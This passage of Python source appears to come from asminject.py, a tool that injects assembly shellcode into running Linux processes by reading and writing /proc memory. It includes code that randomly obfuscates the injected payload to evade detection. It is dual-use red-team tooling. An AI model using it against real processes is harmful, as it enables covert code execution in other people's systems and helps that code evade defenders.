self.populate_randomized_state_backup_restore_list()
|
|
self.set_communications_address_config()
|
|
|
|
def get_value_or_placeholder(self, value, placeholder_value):
|
|
if value or value == 0:
|
|
return value
|
|
else:
|
|
return placeholder_value
|
|
|
|
def get_hex_value_or_placeholder(self, value, placeholder_value):
|
|
result_temp = self.get_value_or_placeholder(value, placeholder_value)
|
|
if result_temp or result_temp == 0:
|
|
return hex(result_temp)
|
|
return '____BUG_IN_CODE____'
|
|
|
|
def get_general_purpose_register_replacement_map(self):
|
|
result = {}
|
|
gpr_list = []
|
|
for i in range(0, len(self.general_purpose_register_list)):
|
|
gpr_list.append(self.general_purpose_register_list[i])
|
|
#random.shuffle(gpr_list, asminject_parameters.get_random_float_for_shuffle)
|
|
gpr_list = asminject_parameters.get_securely_shuffled_array(gpr_list)
|
|
for i in range(0, len(self.general_purpose_register_list)):
|
|
result[f"%r{i}%"] = gpr_list[i]
|
|
return result
|
|
|
|
# placeholder_value_address is a value that represents a valid address
|
|
# so that e.g. the stage 2 test assembly will succeed
|
|
# leave it as None for the real assembly so that bugs won't cause silent failures
|
|
def get_replacement_variable_map(self, placeholder_value_address = None):
|
|
result = {}
|
|
for k in self.custom_replacements.keys():
|
|
result[k] = self.custom_replacements[k]
|
|
|
|
result['[VARIABLE:ARBITRARY_READ_WRITE_DATA_ADDRESS:VARIABLE]'] = self.get_hex_value_or_placeholder(self.get_region_info_arbitrary_data().start_address, placeholder_value_address)
|
|
#result['[VARIABLE:CLEAR_PAYLOAD_MEMORY_VALUE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.clear_payload_memory_value, placeholder_value_address)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS:VARIABLE]'] = self.get_hex_value_or_placeholder(self.get_base_communication_address(), placeholder_value_address)
|
|
result['[VARIABLE:CPU_STATE_SIZE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.rwr_cpu_state_backup_length, placeholder_value_address)
|
|
result['[VARIABLE:EXISTING_STACK_BACKUP_ADDRESS:VARIABLE]'] = self.get_hex_value_or_placeholder(self.get_region_info_stack_backup().start_address, placeholder_value_address)
|
|
result['[VARIABLE:EXISTING_STACK_BACKUP_LOCATION_OFFSET:VARIABLE]'] = self.get_hex_value_or_placeholder(self.rwr_stack_backup_offset, placeholder_value_address)
|
|
result['[VARIABLE:INSTRUCTION_POINTER:VARIABLE]'] = self.get_hex_value_or_placeholder(self.saved_instruction_pointer_value, placeholder_value_address)
|
|
result['[VARIABLE:LEN_CODE_BACKUP:VARIABLE]'] = self.get_hex_value_or_placeholder(self.code_backup_length, placeholder_value_address)
|
|
result['[VARIABLE:POST_SHELLCODE_LABEL:VARIABLE]'] = f"{self.post_shellcode_label}"
|
|
result['[VARIABLE:PRECOMPILED_SHELLCODE_LABEL:VARIABLE]'] = f"{self.precompiled_shellcode_label}"
|
|
result['[VARIABLE:READ_EXECUTE_ADDRESS:VARIABLE]'] = self.get_hex_value_or_placeholder(self.read_execute_region_address, placeholder_value_address)
|
|
result['[VARIABLE:READ_EXECUTE_REGION_SIZE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.read_execute_region_size, placeholder_value_address)
|
|
result['[VARIABLE:READ_WRITE_ADDRESS:VARIABLE]'] = self.get_hex_value_or_placeholder(self.read_write_region_address, placeholder_value_address)
|
|
result['[VARIABLE:RWR_CPU_STATE_BACKUP_OFFSET:VARIABLE]'] = self.get_hex_value_or_placeholder(self.rwr_cpu_state_backup_offset, placeholder_value_address)
|
|
rw_region_address = None
|
|
if self.read_write_region_address and self.read_write_region_size:
|
|
rw_region_address = self.read_write_region_address + self.read_write_region_size
|
|
result['[VARIABLE:READ_WRITE_ADDRESS_END:VARIABLE]'] = self.get_hex_value_or_placeholder(rw_region_address, placeholder_value_address)
|
|
result['[VARIABLE:READ_WRITE_REGION_SIZE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.read_write_region_size, placeholder_value_address)
|
|
result['[VARIABLE:STACK_POINTER:VARIABLE]'] = self.get_hex_value_or_placeholder(self.saved_stack_pointer_value, placeholder_value_address)
|
|
result['[VARIABLE:STAGE_SLEEP_SECONDS:VARIABLE]'] = f"{self.stage_sleep_seconds}"
|
|
|
|
# communications address offsets
|
|
offset_placeholder = None
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_PAYLOAD_STATE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_payload_state, offset_placeholder)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_SCRIPT_STATE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_script_state, offset_placeholder)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_READ_EXECUTE_BASE_ADDRESS:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_read_execute_base_address, offset_placeholder)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_READ_WRITE_BASE_ADDRESS:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_read_write_base_address, offset_placeholder)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_PAYLOAD_DATA_TYPE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_payload_data_type, offset_placeholder)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_PAYLOAD_DATA_1:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_payload_data_1, offset_placeholder)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_PAYLOAD_DATA_2:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_payload_data_2, offset_placeholder)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_SCRIPT_DATA_TYPE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_script_data_type, offset_placeholder)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_SCRIPT_DATA_1:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_script_data_1, offset_placeholder)
|
|
result['[VARIABLE:COMMUNICATION_ADDRESS_OFFSET_SCRIPT_DATA_2:VARIABLE]'] = self.get_hex_value_or_placeholder(self.communication_address_offset_script_data_2, offset_placeholder)
|
|
|
|
# state variables
|
|
result['[VARIABLE:STATE_SWITCH_TO_NEW_COMMUNICATION_ADDRESS:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["switch_to_new_communication_address"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_READY_FOR_STAGE_TWO_WRITE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["ready_for_stage_two_write"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_STAGE_TWO_WRITTEN:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["stage_two_written"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_READY_FOR_MEMORY_RESTORE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["ready_for_memory_restore"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_MEMORY_RESTORED:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["memory_restored"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_PAYLOAD_TO_SCRIPT_MESSAGE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["payload_to_script_message"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_SCRIPT_TO_PAYLOAD_MESSAGE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["script_to_payload_message"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_MESSAGE_RECEIVED:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["message_received"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_PAYLOAD_READY_FOR_SCRIPT_CLEANUP:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["payload_ready_for_script_cleanup"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_SCRIPT_CLEANUP_COMPLETE:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["script_cleanup_complete"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_PAYLOAD_SHOULD_EXIT:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["payload_should_exit"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_PAYLOAD_EXITING:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["payload_exiting"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_PAYLOAD_AWAITING_STRING:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["payload_awaiting_string"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_PAYLOAD_AWAITING_BINARY_DATA:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["payload_awaiting_binary_data"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_PAYLOAD_AWAITING_SIGNED_INTEGER:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["payload_awaiting_signed_integer"], placeholder_value_address)
|
|
result['[VARIABLE:STATE_PAYLOAD_AWAITING_UNSIGNED_INTEGER:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.state_map["payload_awaiting_unsigned_integer"], placeholder_value_address)
|
|
|
|
# state message type indicators
|
|
result['[VARIABLE:MESSAGE_TYPE_SIGNED_INTEGER:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.message_type_map["signed_integer"], placeholder_value_address)
|
|
result['[VARIABLE:MESSAGE_TYPE_UNSIGNED_INTEGER:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.message_type_map["unsigned_integer"], placeholder_value_address)
|
|
result['[VARIABLE:MESSAGE_TYPE_POINTER_TO_BINARY_DATA:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.message_type_map["pointer_to_binary_data"], placeholder_value_address)
|
|
result['[VARIABLE:MESSAGE_TYPE_POINTER_TO_STRING_DATA:VARIABLE]'] = self.get_hex_value_or_placeholder(self.state_variables.message_type_map["pointer_to_string_data"], placeholder_value_address)
|
|
|
|
# general purpose register replacements
|
|
gpr_map = self.get_general_purpose_register_replacement_map()
|
|
for k in gpr_map.keys():
|
|
result[k] = gpr_map[k]
|
|
|
|
# processor state replacements
|
|
result['[STATE_BACKUP_INSTRUCTIONS]'] = self.get_randomized_state_backup_instruction_list()
|
|
result['[STATE_RESTORE_INSTRUCTIONS]'] = self.get_randomized_state_restore_instruction_list()
|
|
|
|
return result
|
|
|
|
def get_map_file_path(self):
|
|
return f"/proc/{self.pid}/maps"
|
|
|
|
def create_empty_temp_file(self, subdirectory_name = None, suffix = None):
|
|
out_path = None
|
|
tf = None
|
|
target_directory = self.temp_file_base_directory
|
|
if subdirectory_name:
|
|
target_directory = os.path.join(self.temp_file_base_directory, subdirectory_name)
|
|
asminject_parameters.make_required_directory(target_directory, self)
|
|
if suffix:
|
|
(tf, out_path) = tempfile.mkstemp(suffix=suffix, dir=target_directory, text=False)
|
|
else:
|
|
(tf, out_path) = tempfile.mkstemp(dir=target_directory, text=False)
|
|
os.close(tf)
|
|
return out_path
|
|
|
|
@staticmethod
|
|
def make_required_directory(directory_path, injection_params):
|
|
try:
|
|
Path(directory_path).mkdir(parents=True, exist_ok=True)
|
|
except Exception as e:
|
|
log_error(f"Could not create the required output directory '{directory_path}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
@staticmethod
|
|
def delete_directory_tree(directory_path, injection_params):
|
|
try:
|
|
shutil.rmtree(directory_path)
|
|
except Exception as e:
|
|
log_warning(f"Could not recursively delete the directory '{directory_path}': {e}", ansi=injection_params.ansi)
|
|
|
|
class communication_variables:
|
|
def __init__(self):
|
|
self.payload_state_value = None
|
|
self.script_state_value = None
|
|
self.read_execute_address = None
|
|
self.read_write_address = None
|
|
self.payload_data_type = None
|
|
self.payload_data_1 = None
|
|
self.payload_data_2 = None
|
|
self.script_data_type = None
|
|
self.script_data_1 = None
|
|
self.script_data_2 = None
|
|
|
|
def read_word(self, injection_params, memory_handle):
|
|
return struct.unpack(injection_params.register_size_format_string, memory_handle.read(injection_params.register_size))[0]
|
|
|
|
def read_current_values(self, injection_params, process_memory_path, communication_address):
|
|
try:
|
|
with open(process_memory_path, "rb") as mem:
|
|
try:
|
|
mem.seek(communication_address + injection_params.communication_address_offset_payload_state)
|
|
self.payload_state_value = self.read_word(injection_params, mem)
|
|
|
|
mem.seek(communication_address + injection_params.communication_address_offset_script_state)
|
|
self.script_state_value = self.read_word(injection_params, mem)
|
|
|
|
mem.seek(communication_address + injection_params.communication_address_offset_read_execute_base_address)
|
|
self.read_execute_address = self.read_word(injection_params, mem)
|
|
|
|
mem.seek(communication_address + injection_params.communication_address_offset_read_write_base_address)
|
|
self.read_write_address = self.read_word(injection_params, mem)
|
|
|
|
mem.seek(communication_address + injection_params.communication_address_offset_payload_data_type)
|
|
self.payload_data_type = self.read_word(injection_params, mem)
|
|
|
|
mem.seek(communication_address + injection_params.communication_address_offset_payload_data_1)
|
|
self.payload_data_1 = self.read_word(injection_params, mem)
|
|
|
|
mem.seek(communication_address + injection_params.communication_address_offset_payload_data_2)
|
|
self.payload_data_2 = self.read_word(injection_params, mem)
|
|
|
|
mem.seek(communication_address + injection_params.communication_address_offset_script_data_type)
|
|
self.script_data_type = self.read_word(injection_params, mem)
|
|
|
|
mem.seek(communication_address + injection_params.communication_address_offset_script_data_1)
|
|
self.script_data_1 = self.read_word(injection_params, mem)
|
|
|
|
mem.seek(communication_address + injection_params.communication_address_offset_script_data_2)
|
|
self.script_data_2 = self.read_word(injection_params, mem)
|
|
|
|
|
|
except Exception as e:
|
|
log_error(f"Couldn't get target process information: {e}", ansi=injection_params.ansi)
|
|
except FileNotFoundError as e:
|
|
log_error(f"Target process disappeared during injection attempt - exiting", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
if injection_params.enable_debugging_output:
|
|
current_state_log_output = f"Communications address data at {hex(communication_address)}:\n"
|
|
current_state_log_output += f"\tPayload state: {injection_params.state_variables.get_state_name_from_value(self.payload_state_value)}\n"
|
|
current_state_log_output += f"\tScript state: {injection_params.state_variables.get_state_name_from_value(self.script_state_value)}\n"
|
|
current_state_log_output += f"\tRead/execute block base address: {hex(self.read_execute_address)}\n"
|
|
current_state_log_output += f"\tRead/write block base address: {hex(self.read_write_address)}\n"
|
|
current_state_log_output += f"\tPayload data type: {hex(self.payload_data_type)}\n"
|
|
current_state_log_output += f"\tPayload data 1: {hex(self.payload_data_1)}\n"
|
|
current_state_log_output += f"\tPayload data 2: {hex(self.payload_data_2)}\n"
|
|
current_state_log_output += f"\tScript data type: {hex(self.script_data_type)}\n"
|
|
current_state_log_output += f"\tScript data 1: {hex(self.script_data_1)}\n"
|
|
current_state_log_output += f"\tScript data 2: {hex(self.script_data_2)}\n"
|
|
|
|
log(current_state_log_output, ansi=injection_params.ansi)
|
|
|
|
class memory_map_permissions:
|
|
def set_default_values(self):
|
|
self.read = False
|
|
self.write = False
|
|
self.execute = False
|
|
self.shared = False
|
|
|
|
def set_from_permission_string(self, permission_string):
|
|
if permission_string[0:1].lower() == "r":
|
|
self.read = True
|
|
if permission_string[1:2].lower() == "w":
|
|
self.write = True
|
|
if permission_string[2:3].lower() == "x":
|
|
self.execute = True
|
|
if permission_string[3:4].lower() == "s":
|
|
self.shared = True
|
|
|
|
def to_permission_string(self):
|
|
result = ""
|
|
if self.read:
|
|
result += "r"
|
|
else:
|
|
result += "-"
|
|
if self.write:
|
|
result += "w"
|
|
else:
|
|
result += "-"
|
|
if self.execute:
|
|
result += "x"
|
|
else:
|
|
result += "-"
|
|
if self.shared:
|
|
result += "s"
|
|
else:
|
|
result += "p"
|
|
return result
|
|
|
|
def __init__(self):
|
|
self.set_default_values()
|
|
|
|
@staticmethod
|
|
def from_permission_string(permission_string):
|
|
result = memory_map_permissions()
|
|
result.set_from_permission_string(permission_string)
|
|
return result
|
|
|
|
class memory_map_entry:
|
|
def set_default_values(self):
|
|
self.start_address = None
|
|
self.end_address = None
|
|
self.permissions = None
|
|
self.offset = None
|
|
self.device = None
|
|
self.inode = None
|
|
self.path = None
|
|
self.position_independent_code = False
|
|
self.backup_path = None
|
|
self.symbol_list = None
|
|
|
|
def set_permissions_from_string(self, permission_string):
|
|
self.permissions = memory_map_permissions.from_permission_string(permission_string)
|
|
|
|
def set_from_map_entry_line(self, map_entry_line):
|
|
linesplit = map_entry_line.split()
|
|
addr_split = linesplit[0].split("-")
|
|
self.start_address = int(addr_split[0], 16)
|
|
self.end_address = int(addr_split[1], 16)
|
|
perms = linesplit[1]
|
|
self.set_permissions_from_string(perms)
|
|
self.offset = int(linesplit[2], 16)
|
|
self.device = linesplit[3]
|
|
self.inode = linesplit[4]
|
|
self.path = linesplit[-1]
|
|
|
|
def __init__(self):
|
|
self.set_default_values()
|
|
|
|
@staticmethod
|
|
def from_map_entry_line(map_entry_line):
|
|
result = memory_map_entry()
|
|
result.set_from_map_entry_line(map_entry_line)
|
|
return result
|
|
|
|
def get_base_address(self):
|
|
if self.position_independent_code:
|
|
return self.start_address
|
|
return 0
|
|
|
|
def get_description_string(self):
|
|
return f"{hex(self.start_address)} - {hex(self.end_address)} (Path: '{self.path}')"
|
|
|
|
def to_dictionary(self):
|
|
result = {}
|
|
result["start_address"] = self.start_address
|
|
result["end_address"] = self.end_address
|
|
result["permissions"] = self.permissions.to_permission_string()
|
|
result["offset"] = self.offset
|
|
result["device"] = self.device
|
|
result["inode"] = self.inode
|
|
result["path"] = self.path
|
|
result["backup_path"] = self.backup_path
|
|
result["position_independent_code"] = self.position_independent_code
|
|
return result
|
|
|
|
def to_json(self):
|
|
return json.dumps(self.to_dictionary())
|
|
|
|
@staticmethod
|
|
def from_dictionary(dict):
|
|
result = memory_map_entry()
|
|
if "start_address" in dict.keys():
|
|
result.start_address = dict["start_address"]
|
|
if "end_address" in dict.keys():
|
|
result.end_address = dict["end_address"]
|
|
if "permissions" in dict.keys():
|
|
perms = memory_map_permissions()
|
|
perms.set_from_permission_string(dict["permissions"])
|
|
result.permissions = perms
|
|
if "offset" in dict.keys():
|
|
result.offset = dict["offset"]
|
|
if "device" in dict.keys():
|
|
result.device = dict["device"]
|
|
if "inode" in dict.keys():
|
|
result.inode = dict["inode"]
|
|
if "path" in dict.keys():
|
|
result.path = dict["path"]
|
|
if "backup_path" in dict.keys():
|
|
result.backup_path = dict["backup_path"]
|
|
if "position_independent_code" in dict.keys():
|
|
result.position_independent_code = dict["position_independent_code"]
|
|
return result
|
|
|
|
@staticmethod
|
|
def from_json(json_string):
|
|
return memory_map_entry.from_dictionary(json.loads(json_string))
|
|
|
|
|
|
class asminject_memory_map_data:
|
|
def __init__(self):
|
|
self.map_data = {}
|
|
self.map_data_keys_ordered = []
|
|
self.first_region_for_named_file_map = {}
|
|
self.backup_directory = None
|
|
|
|
def get_unique_path_names(self):
|
|
return self.first_region_for_named_file_map.keys()
|
|
|
|
def get_first_region_for_named_file(self, file_path):
|
|
existing_path_names = self.get_unique_path_names()
|
|
if file_path not in existing_path_names:
|
|
raise Exception(f"Could not locate a memory map entry for '{file_path}'")
|
|
region_start_address = self.first_region_for_named_file_map[file_path].start_address
|
|
if region_start_address not in self.map_data.keys():
|
|
print(self.map_data.keys())
|
|
raise Exception(f"Found a memory map file path entry for '{file_path}', with base address '{region_start_address}', but no entry was found for it in the main list of memory regions. This is almost certainly a bug in asminject.py")
|
|
return self.map_data[region_start_address]
|
|
|
|
def add_first_region_data(self, injection_params, new_map_entry):
|
|
if new_map_entry.path.strip() != "" and new_map_entry.path not in self.first_region_for_named_file_map.keys():
|
|
#result_entry = {}
|
|
#result_entry["access"] = linesplit[1]
|
|
|
|
if new_map_entry.position_independent_code:
|
|
#result_entry["base"] = ld_base
|
|
#result_entry["end"] = ld_end
|
|
if new_map_entry.start_address <= injection_params.max_address_npic_suggestion:
|
|
log_warning(f"'{new_map_entry.path}' has a base address of {hex(new_map_entry.start_address)}, which is very low for position-independent code. If the exploit attempt fails, try adding --non-pic-binary \"{new_map_entry.path}\" to your asminject.py options.", ansi=injection_params.ansi)
|
|
else:
|
|
|
|
#result_entry["base"] = 0
|
|
#result_entry["end"] = ld_end
|
|
log_warning(f"Handling '{new_map_entry.path}' as non-PIC binary", ansi=injection_params.ansi)
|
|
|
|
self.first_region_for_named_file_map[new_map_entry.path] = new_map_entry
|
|
|
|
#result[new_map_entry.path] = result_entry
|
|
|
|
def load_memory_map_data(self, injection_params):
|
|
with open(injection_params.get_map_file_path()) as maps_file:
|
|
for line in maps_file.readlines():
|
|
new_map_entry = memory_map_entry.from_map_entry_line(line)
|
|
self.map_data[new_map_entry.start_address] = new_map_entry
|
|
self.map_data_keys_ordered.append(new_map_entry.start_address)
|
|
if new_map_entry.path.strip() != "":
|
|
new_map_entry.position_independent_code = True
|
|
for npb_pattern in injection_params.non_pic_binaries:
|
|
if re.search(npb_pattern, new_map_entry.path):
|
|
new_map_entry.position_independent_code = False
|
|
break
|
|
|
|
self.add_first_region_data(injection_params, new_map_entry)
|
|
#self.add_entry(injection_params, new_map_entry)
|
|
|
|
def to_array(self):
|
|
result = []
|
|
for start_address in self.map_data_keys_ordered:
|
|
result_entry = self.map_data[start_address].to_dictionary()
|
|
result.append(result_entry)
|
|
return result
|
|
|
|
def to_json(self):
|
|
return json.dumps(self.to_array())
|
|
|
|
def add_entry(self, injection_params, new_entry):
|
|
self.map_data_keys_ordered.append(new_entry.start_address)
|
|
self.map_data[new_entry.start_address] = new_entry
|
|
self.add_first_region_data(injection_params, new_entry)
|
|
|
|
@staticmethod
|
|
def from_array(injection_params, arr):
|
|
result = asminject_memory_map_data()
|
|
for arr_entry in arr:
|
|
new_entry = memory_map_entry.from_dictionary(arr_entry)
|
|
result.add_entry(injection_params, new_entry)
|
|
return result
|
|
|
|
@staticmethod
|
|
def from_json(json_string):
|
|
arr = json.loads(json_string)
|
|
return asminject_memory_map_data.from_array(arr)
|
|
|
|
def ansi_color(name):
|
|
color_codes = {
|
|
"blue": 34,
|
|
"red": 91,
|
|
"orange": 209,
|
|
"green": 32,
|
|
"default": 39,
|
|
}
|
|
return f"\x1b[{color_codes[name]}m"
|
|
|
|
|
|
def log(msg, color="blue", symbol="*", ansi=True):
|
|
if ansi:
|
|
print(f"{ansi_color(color)}[{symbol}]{ansi_color('default')} {msg}")
|
|
else:
|
|
print(f"[{symbol}] {msg}")
|
|
|
|
|
|
def log_success(msg, ansi=True):
|
|
log(msg, "green", "+", ansi)
|
|
|
|
def log_warning(msg, ansi=True):
|
|
log(msg, "orange", "-", ansi)
|
|
|
|
def log_error(msg, ansi=True):
|
|
log(msg, "red", "!", ansi)
|
|
#raise Exception(msg)
|
|
|
|
def get_random_obfuscation_fragment(injection_params, use_communications_address_fragments, use_allocated_read_write_fragments, obfuscation_iteration):
|
|
result = None
|
|
|
|
injection_params.cache_obfuscation_files()
|
|
fragment_list = []
|
|
for frag in injection_params.obfuscation_fragments_general_purpose:
|
|
fragment_list.append(frag)
|
|
|
|
if use_communications_address_fragments:
|
|
for frag in injection_params.obfuscation_fragments_communications_address:
|
|
fragment_list.append(frag)
|
|
|
|
if use_allocated_read_write_fragments:
|
|
for frag in injection_params.obfuscation_fragments_allocated_memory:
|
|
fragment_list.append(frag)
|
|
|
|
result = fragment_list[secrets.randbelow(len(fragment_list))]
|
|
|
|
per_fragment_replacement_map = injection_params.get_general_purpose_register_replacement_map()
|
|
|
|
per_fragment_replacement_map["[VARIABLE:OBFUSCATION_FRAGMENT_NUMBER:VARIABLE]"] = f"{injection_params.obfuscation_fragment_counter}"
|
|
|
|
for search_text in per_fragment_replacement_map.keys():
|
|
result = result.replace(search_text, per_fragment_replacement_map[search_text])
|
|
|
|
# indent by the number of iterations to make debugging easier
|
|
result_lines = result.splitlines()
|
|
result = ""
|
|
tabs = "\t\t"
|
|
for i in range(0, obfuscation_iteration):
|
|
tabs = f"{tabs}\t"
|
|
for rl in result_lines:
|
|
rl_strip = rl.rstrip()
|
|
if result == "":
|
|
result = f"{tabs}{rl_strip}\n"
|
|
else:
|
|
result = f"{result}{tabs}{rl_strip}\n"
|
|
result = f"{result}\n"
|
|
|
|
injection_params.obfuscation_fragment_counter += 1
|
|
|
|
return result
|
|
|
|
def next_line_can_be_obfuscated(injection_params, lines, current_line_number):
|
|
result = True
|
|
current_line_trimmed = lines[current_line_number].strip()
|
|
instruction_trimmed = current_line_trimmed.split()[0].lower()
|
|
# Do not obfuscate after blank lines - too ambiguous
|
|
if len(current_line_trimmed) == 0:
|
|
return False
|
|
# Do not obfuscate lines beginning with a ., because they're probably data
|
|
if current_line_trimmed[0:1] == ".":
|
|
return False
|
|
# Do not obfuscate lines beginning with a _
|
|
if current_line_trimmed[0:1] == "_":
|
|
return False
|
|
# Do not obfuscate lines immediately after labels, because they might be data
|
|
if current_line_trimmed[-1:] == ":":
|
|
return False
|
|
# Do not obfuscate lines immediately after comments - just after actual code
|
|
if current_line_trimmed[0:2] == "//" or current_line_trimmed[0:1] == "#":
|
|
return False
|
|
|
|
# Do not obfuscate lines ending with "[pc]", because the next real line after that
|
|
# is data that needs to stay in the same place
|
|
if current_line_trimmed[-4:] == "[pc]":
|
|
return False
|
|
# same for "pc":
|
|
if current_line_trimmed[-2:] == "pc":
|
|
return False
|
|
|
|
# Do not obfuscate after processor-specific instructions
|
|
if instruction_trimmed in injection_params.no_obfuscation_after_instructions:
|
|
#if injection_params.enable_debugging_output:
|
|
# log(f"Instruction '{instruction_trimmed}' is in the list to not obfuscate after for this architecture", ansi=injection_params.ansi)
|
|
return False
|
|
|
|
# Do not obfuscate after instructions that set flag values
|
|
flag_setting_instructions = injection_params.flag_setting_instructions
|
|
for fsi in flag_setting_instructions:
|
|
if instruction_trimmed == fsi:
|
|
#if injection_params.enable_debugging_output:
|
|
# log(f"Instruction '{instruction_trimmed}' is in the list of flag-setting instructions for this architecture", ansi=injection_params.ansi)
|
|
return False
|
|
|
|
# For ARM32 only, do not obfuscate after instructions that end in "s",
|
|
# as these also typically set flag values
|
|
if injection_params.architecture == "arm32":
|
|
if instruction_trimmed[-1:] == "s":
|
|
return False
|
|
|
|
# checks that depend on the previous line
|
|
if current_line_number > 0:
|
|
previous_line_trimmed = lines[current_line_number - 1].strip()
|
|
# some [pc] references are two lines ahead
|
|
if previous_line_trimmed[-4:] == "[pc]":
|
|
return False
|
|
|
|
return result
|
|
|
|
def obfuscate_assembly_source(injection_params, original_source, obfuscation_iteration):
|
|
result_lines = []
|
|
for line in original_source.splitlines():
|
|
if line.strip() != "":
|
|
result_lines.append(line)
|
|
|
|
result = ""
|
|
obfuscation_enabled = True
|
|
# use fragments that require memory allocated by the script
|
|
use_allocated_memory = False
|
|
# use fragments that require a communications address
|
|
use_communications_address = True
|
|
for line_num in range(0, len(result_lines)):
|
|
current_line = result_lines[line_num]
|
|
if result == "":
|
|
result = current_line
|
|
else:
|
|
result = f"{result}\n{current_line}"
|
|
if "OBFUSCATION_OFF" in current_line.strip():
|
|
obfuscation_enabled = False
|
|
if "OBFUSCATION_ON" in current_line.strip():
|
|
obfuscation_enabled = True
|
|
if "OBFUSCATION_ALLOCATED_MEMORY_OFF" in current_line.strip():
|
|
use_allocated_memory = False
|
|
if "OBFUSCATION_ALLOCATED_MEMORY_ON" in current_line.strip():
|
|
use_allocated_memory = True
|
|
if "OBFUSCATION_COMMUNICATIONS_ADDRESS_OFF" in current_line.strip():
|
|
use_communications_address = False
|
|
if "OBFUSCATION_COMMUNICATIONS_ADDRESS_ON" in current_line.strip():
|
|
use_communications_address = True
|
|
if obfuscation_enabled:
|
|
if next_line_can_be_obfuscated(injection_params, result_lines, line_num):
|
|
if asminject_parameters.get_random_float_for_shuffle() <= injection_params.per_line_obfuscation_percentage:
|
|
fragment_source = get_random_obfuscation_fragment(injection_params, use_communications_address, use_allocated_memory, obfuscation_iteration)
|
|
result = f"{result}\n{fragment_source}"
|
|
return result
|
|
|
|
def get_code_fragment(injection_params, fragment_file_name):
|
|
fragment_file_path = os.path.join(injection_params.base_script_path, "asm", injection_params.architecture, injection_params.fragment_directory_name, fragment_file_name)
|
|
fragment_source = None
|
|
if not os.path.isfile(fragment_file_path):
|
|
log_error(f"Could not find the assembly source code fragment '{fragment_file_path}' referenced in the payload", ansi=injection_params.ansi)
|
|
return None
|
|
try:
|
|
with open(fragment_file_path, "r") as fragment_source_file:
|
|
fragment_source = fragment_source_file.read()
|
|
except Exception as e:
|
|
log_error(f"Could not read assembly source code fragment '{fragment_file_path}' referenced in the payload: {e}", ansi=injection_params.ansi)
|
|
return None
|
|
return fragment_source
|
|
|
|
def get_elf_symbol_to_offset_map(elf_path):
|
|
result = {}
|
|
# avoid importing this unless explicitly needed, since it's a nonstandard library
|
|
import elftools.elf.sections
|
|
from elftools.elf.elffile import ELFFile
|
|
with open(elf_path, "rb") as elf_file:
|
|
elf = ELFFile(elf_file)
|
|
for elf_section in elf.iter_sections():
|
|
is_symbol_section = False
|
|
|
|
if isinstance(elf_section, elftools.elf.sections.SymbolTableSection):
|
|
is_symbol_section = True
|
|
|
|
if is_symbol_section:
|
|
#print(f"{elf_section.name}\t{elf_section}")
|
|
for symbol in elf_section.iter_symbols():
|
|
#print(f"\t{symbol.name}\t{hex(symbol.entry.st_value)}")
|
|
result[symbol.name] = symbol.entry.st_value
|
|
return result
|
|
|
|
def get_offset_from_map_by_regex(injection_params, symbol_map, regex):
|
|
for symbol_name in symbol_map.keys():
|
|
if injection_params.enable_debugging_output:
|
|
